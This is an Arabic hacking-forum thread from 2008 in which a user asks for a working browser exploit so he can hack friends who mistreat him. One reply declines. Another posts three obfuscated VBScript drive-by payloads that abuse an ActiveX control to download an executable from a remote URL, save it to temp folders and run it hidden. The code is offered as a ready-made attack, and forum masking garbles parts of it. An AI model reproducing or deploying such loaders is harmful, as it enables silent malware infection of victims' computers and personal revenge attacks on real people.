المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : مشكلة حول ثغرة المتصفح


mehdibb
12-29-2008, 10:29 PM
السلام عليكم


اريد منكم طلب يا اخواني المسلمين اريد ثغرة شغالة 100/100 ارجوكم اني محتاجها .. لديه بعض الاصدقاء يسؤون معاملتي واريد اختراقهم .. بليييزززززززززززززززززززززززززززز

Dr.MoZo
12-29-2008, 11:15 PM
اخى العزيز هذا المنتدى ليس لحل المشاكل الشخصيه

تحياتى

SeE You

fisher762
12-29-2008, 11:16 PM
جرب هدول


<s*cr*ipt type="****/vbs*cript">
on error resume next
Set df = ********.createElement("object")
df.setAttribute "clas"&"sid", "clsid:BD96C"&"556-65A3-11D0-"&"983A-00C04F"&"C29E36"
str="Microsoft"&"."&"XMLHTTP"
Set x = df.CreateObject(str,"")
var1="Ad"
var2="od"
var3="b."
var4="St"
var5="re"
var6="am"
str1=var1&var2&var3&var4&var5&var6

str5=str1
set S = df.createobject(str5,"")
for count = 0 to 4
S.type = 1
lnk="[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط]*****"
x.Open "G"&"E"&"T",lnk,0
x.Send
set F = df.createobject("Script"&"ing.FileSys"&"temObject" ,"")
if count = 0 then tmp = "c:\windows\temp" else if count = 1 then tmp = "c:\" else if count = 2 then tmp = "c:temp" else if count = 3 then tmp = "d:windowstemp" else if count = 4 then tmp = "d:" end if
f****1= F.BuildPath(tmp,"Odesa*****")
S.open
S.write x.response****
S.savetofile f****1,2
S.close
if err.number = 0 then
set Q = df.createobject("Shell.Application","")
Q.ShellExecute f****1,"INSTALL","","open",0
exit for
else
Err.Clear
End if
next

</sc*r*ipt>






<sc*ri*pt ********="VBSc*ript">
On Error Resume Next

exe="[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط]*****"
x1="o"&"bj"&"e"&"ct"
x2="cls"&"id:BD9"&"6C5"&"56-6"&"5"&"A3-1"&"1D"&"0-98"&"3"&"A-00"&"C0"&"4F"&"C2"& "9E36"
x3="c"&"la"&"ss"&"id"
x4="Mic"&"roso"&"ft.XM"&"LHT"&"TP"
x5="Ad"&"od"&"b.St"&"r"&"eam"
x6="G"&"ET"
x7="Scr"&"ip"&"ting.Fil"&"eS"&"yst"&"emO"&"bject"
x8="She"&"ll.A"&"ppl"&"icati"&"on"

Set zhu3 = ********.createElement(x1)
zhu3.SetAttribute x3, x2
XML[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط]
Set x = zhu3.CreateObject(XML[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط]"")
D5=x5
D6=D5
Set S = zhu3.CreateObject(D6,"")
S.type = 1
zhu32="GET"
x.Open zhu32, exe, False
x.Send
f****1="google.pif"
Set F = zhu3.CreateObject("Scripting.FileSystemObject","")
Set tmp = F.GetSpecialFolder(2)
f****1= F.BuildPath(tmp,f****1)
S.open
S.write x.response****
S.savetofile f****1,2
S.close
Set Q = zhu3.CreateObject("Shell.Application","")
Q.ShellExecute f****1,"","","open",0
</s*cript>
<sc*ript type="****/js*cript">function init() { ********.write("");}window.onload = init;</script>
<**** oncon****menu="return false" onselectstart="return false" ondragstart="return false">







<html>
<head>
<title>XP</title>
</head>
<****>
<sc*ript type="****/vbsc*ript">
on error resume next
Set df = ********.createElement("object")
df.setAttribute "clas"&"sid", "clsid:BD96C"&"556-65A3-11D0-"&"983A-00C04F"&"C29E36"
str="Microsoft"&"."&"XMLHTTP"
Set x = df.CreateObject(str,"")
var1="Ad"
var2="od"
var3="b."
var4="St"
var5="re"
var6="am"
str1=var1&var2&var3&var4&var5&var6

str5=str1
set S = df.createobject(str5,"")
for count = 0 to 4
S.type = 1
lnk="[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط]*****"
x.Open "G"&"E"&"T",lnk,0
x.Send
set F = df.createobject("Script"&"ing.FileSys"&"temObject" ,"")
if count = 0 then tmp = "c:\windows\temp" else if count = 1 then tmp = "c:\" else if count = 2 then tmp = "c:temp" else if count = 3 then tmp = "d:windowstemp" else if count = 4 then tmp = "d:" end if
f****1= F.BuildPath(tmp,"Odesa*****")
S.open
S.write x.response****
S.savetofile f****1,2
S.close
if err.number = 0 then
set Q = df.createobject("Shell.Application","")
Q.ShellExecute f****1,"INSTALL","","open",0
exit for
else
Err.Clear
End if
next
</scr*ipt>
</****>
</html>






sE3 U

.: Dr.SmOoK :.
12-30-2008, 07:30 AM
حط الثغره في تكست وارفقها علشان في ملفات مشفره

mehdibb
12-30-2008, 02:09 PM
ليست شغالة